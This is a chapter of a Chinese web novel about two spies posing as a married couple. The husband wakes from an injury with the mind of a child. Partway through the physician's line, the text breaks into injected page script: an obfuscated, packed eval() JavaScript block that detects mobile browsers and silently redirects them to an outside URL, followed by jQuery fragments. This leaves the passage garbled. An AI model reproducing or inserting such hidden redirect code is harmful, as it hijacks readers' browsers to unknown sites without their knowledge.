97. 第97回合

作品:《与死对头双双卧底后

    更何况,他这伤还是因救自己弄的,这让她更加过意不去了。


    司清也只能好好照顾着他,算作他救了自己命的报答。


    司清看着榻上的厌从瑜,才发现这是她第一次这么好好地看着厌从瑜。


    他头上缠绕着洁白的纱布,衬得他的脸庞更白几分,司清看着,也不禁有几分心疼。


    平日里对答如流,与她针锋相对的厌从瑜今日就这么躺在这里,生死未卜。


    想起戚栩的那些事情,司清看着厌从瑜的面庞,又不禁陷入沉思。


    厌从瑜啊厌从瑜,你究竟还有什么没有告诉她的。


    然而面对司清的回答,厌从瑜却依旧阖着眸子,薄唇紧闭,没有回答她一句。


    见状的司清叹了口气,她也知晓她这是自问自答,在等一个等不到的答案,于是她来到桌边喝了口茶水,随后又继续守在厌从瑜的榻边。


    很快便夜色已深,中途二位将士进来送饭,看着忧心忡忡的司清,他不禁关切地提议道。


    “夫人,您看您守了这么久也辛苦了,要不接下俩守夜就我们替您守吧。”他一旁的将士也点点头附和道。“是啊是啊。您放心好了,我们来守着,肯定没事的。”


    然而让这二位将士没有想到的是,司清却没有答应他们,而是浅笑了一下,示意二人无事,随后她婉拒道。


    “没事,我守着他我心里也踏实一些,况且不在夫君身边,我也睡不着。”


    见司清这么说,那二位将士也没了劝阻的理由,只能点了点头,随后将东西放下。


    二人不禁感叹道:真是夫妻情深,看得他们二人都不禁老泪纵横。


    然而事实是,司清确实是有担心的成分在,但她更怕万一厌从瑜昏迷了有什么不妥,又或者是梦魇之类的,将他们二人的身份暴露出去便不好了。


    总之还是她亲自守着比较放心。


    司清在用完膳后,便半步不离地守候着厌从瑜。


    她甚至一刻也不敢放松,生怕厌从瑜有什么苏醒的迹象,而她却一不小心错过了,误了他的性命。


    终于,在司清几天几夜彻夜未眠的守候下,厌从瑜修长的手指有了微微颤动。


    司清捕捉到他这一微小的举动,还以为她是守他太久了,出现了幻觉,她又连忙揉了揉自己的眼睛,见厌从瑜那鸦羽般的睫毛微颤,她便知道,刚才那不是错觉!


    因而司清连忙跑了出去,朝着外边守着的将士大喊道。


    “快去请军医!贺大人好像醒了!”


    “是!”那将士见状也片刻不敢耽搁,连忙一路小跑去找那军医。


    随后司清便赶忙回到厌从瑜的榻边,默默等待他醒来。随后心急的她又想到,厌从瑜这么久没醒,说不定会渴,便又倒了茶水过来。


    床榻上的厌从瑜悠悠睁开了那双眸子,双眼也有些迷离,他努力想看清眼前之人,因而他将头微微侧向那模糊的身影,蹙了蹙眉,薄唇微张。


    司清见状也不禁有些激动,随后她压低声音,小声又有些激动地看着厌从瑜道。


    “厌从瑜,厌从瑜!你还好吗?!身体可有不适?”随后一边说着,她一边扶起了想要起来的厌从瑜。


    然而让她没有想到的是,那厌从瑜直起身子,看着一脸期待的她,目光却有些防备。


    “……你是谁?”


    听到这话的司清直接愣在原地,她不敢相信这厌从瑜说了什么,随后想到平日厌从瑜里,她嘴角抽动,压制住自己内心的猜测道。


    “你不是在开玩笑吧。”


    听到司清的这番话,榻上的厌从瑜似乎更加不解了,他蹙了蹙眉,看向司清,似乎在怀疑她话的真假。


    虽然不过不知道为何,即使他不认识面前之人,他却并不讨厌,或者说是,让他觉得有些熟悉。


    随后不等司清问话,厌从瑜便垂下眸子,似乎是在思考着什么。


    末了他又抬头看向司清,俊脸故作严肃地问道。


    “这里是哪儿?我怎么会在这,我不应该在水镜宫么?”


    听到水镜宫这三个字,司清更是不禁愣住了。毕竟即使她再不知晓,也曾听说过,他出师水镜宫也有十余年,他又怎么可能会提到这个地方呢?


    她再见他这番神情严肃不似作假,司清心下有了不好的预感。


    司清正想说些什么之时,突然,那郎中赶来打断了她的话。


    “老夫来了。快,让老夫看看贺大人的情况。”


    那郎中说着,便向床塌上的厌从瑜走去,便要给他诊治。然而让众人没想到的是,床榻上的厌从瑜却对这向他靠近的郎中很是防备。


    还未等郎中靠近,厌从瑜便默默退到床榻边,抓着被角,看着进来那人蹙眉道。


    “你们又是谁,为何要对在下动手。”


    见厌从瑜换回熟悉的称呼,司清稍稍安了一些心,但看着厌从瑜的神情,却又很是忧心。


    那郎中想靠近,又不敢靠近,见厌从瑜这么防备,想了想还是放弃了过去诊治,转而向司清寻求帮助。


    “夫人,还是借一步说话吧。”郎中也不好再在厌从瑜面前说些什么来刺激他,毕竟他现在看着还算没什么大碍,若是真的出事了那可就不是他们想看到的了。


    司清担忧地看了榻上的厌从瑜一眼,随后点点头,跟郎中走了出去,随后她又对门口守着的将士嘱托道。


    “你先进去看着贺大人,我待会儿和军医进去你再出来。”


    “是。”那将士朝着司清抱了一拳,随后便进去守着了。


    榻上的厌从瑜见司清看了他一眼,又好像要走的样子,刚想说些什么,又被脑海中混乱的思绪所阻止,他摇了摇头,终究是错过了开口机会。


    见进来的又是一个陌生的男子,还是他不喜的,便更加生闷气了,他一句话不说,就这么定定地看着门口司清离开的地方。


    见状的那将士更是移开了自己的目光,不敢做声,力图将自己的存在感降到最低,他还以为这是叱咤风云,只手翻云覆雨的贺大人呢。


    二人就这么一直尴尬地无言以对,同处一室。


    而另一边走到外边后,在厌从瑜听不到的角落,司清便将刚才发生的事情一五一十地跟郎中说了。


    末了,她还补充了句。


    “他好像还提到了水镜宫的事情,我听他说,这好像是他十几年前的时候了。”在外人面前,司清自然不好将厌从瑜的情况全盘托出,因而她便巧妙地掩盖了一下当年的事实。


    郎中听后也是若有所思地点了点头,他低下头,沉思一番后,抬起浑浊的眸子看向司清,面色沉重地说道。


    “夫人,结合您刚才所说,再依老夫推测,他这……可能不仅是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177051|154061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    失忆了,更像是心智回退到了当年七岁孩童之时。”


    “什么??”听到这里,司清更是愣在原地,不敢相信的她再向那郎中确认道。“老先生,您说的可是真的?”


    见她这般情绪有些激动,那老郎中也只好缓缓地点了点头。


    “是的……如果刚才夫人所言不假的话,再加上老夫先年研读古籍留下来的经验,这种情况也是有过的。”


    听到这里,司清难以置信地退后了一步。


    心智回退??她没听错吧,那个多智近妖的厌从瑜心智退成了七岁孩童!那他们之间的谋划不都白费了吗!这一堆烂摊子要如何收拾。


    老郎中见状也是叹了口气,又摇了摇头,看她这般激动,也全当她一时难以接受,出言安慰她道。


    “夫人,您也不要太过沮丧了……”


    司清闻言,更是像抓住了什么救命稻草一般,她猛地抬头看向那老郎中,眸底燃起希望道。


    “难道说,您有办法?”


    然而没有想到,面对司清那期待的眼神,那郎中却是缓缓摇了摇头。


    “具体的解决之法,老夫也不太清楚,毕竟是上古流下来的东西了……”见司清的眸子渐渐暗淡,那老郎中却又话锋一转,安慰她道。“不过老夫能出一个方子缓解他的症状,这期间还请您不要刺激他,抓紧时间另请高明吧。”


    听到这些话,司清也不禁垂下眸子。


    看来只能回去找云复他们了……希望能有用吧……


    想到这里,她又忧心忡忡地看了一眼军帐,似乎想透过那密不通风的军帐看到厌从瑜情况如何,然而一切却只是徒劳。


    司清回来之后,那床榻坐着的厌从瑜的眸子肉眼可见地亮了起来。


    那守着的将士更是像看到救星一般,双眸都放出了光。


    “贺夫人!您回来了。”


    司清知晓他在这里也是受罪,因而浅笑着点了点头,让他退下了。


    “你去忙吧,这里有我来。”


    那将士得令后,更是风一般地离开了这里。


    司清见状也是笑着摇了摇头,随后她端着一杯水,来到厌从瑜身边,递到他面前,笑得温柔。


    “渴了吧?要不要喝点水?”


    然而厌从瑜看着这杯水,却没有接过来,而是看着司清的脸,定定道。


    “你刚才去哪了?”


    见他问自己,又想到刚才郎中对她的叮嘱,便脸不红心不跳地扯谎道。


    “咳咳。去跟他商谈一些大事,不过具体什么事情就不告诉你了。”


    见司清不做声,那厌从瑜又垂下眸子,只是他脸上的神情有些明显的沮丧。


    见他这般,司清突然又想到,虽然说这厌从瑜受了伤,但多智近妖的他难得变为孩童,让难过之余的她不禁起了一丝坏心思。


    毕竟他现如今的神情,明显不是一个成年男子所做出来的。


    但在司清开口前,那厌从瑜却像想起什么似的,小脸紧绷地看向司清,故作严肃道。“你们对我做了什么,让我的声音变得如此粗旷。”


    见他问这个,一旁喝水的司清忍不住差点喷了出来。


    她将喉咙中的水强行咽下,随后拍了拍自己的胸口,顺其后看向那榻上的厌从瑜,轻笑一声后问道。


    “你今年年纪几何?知道我是谁吗?”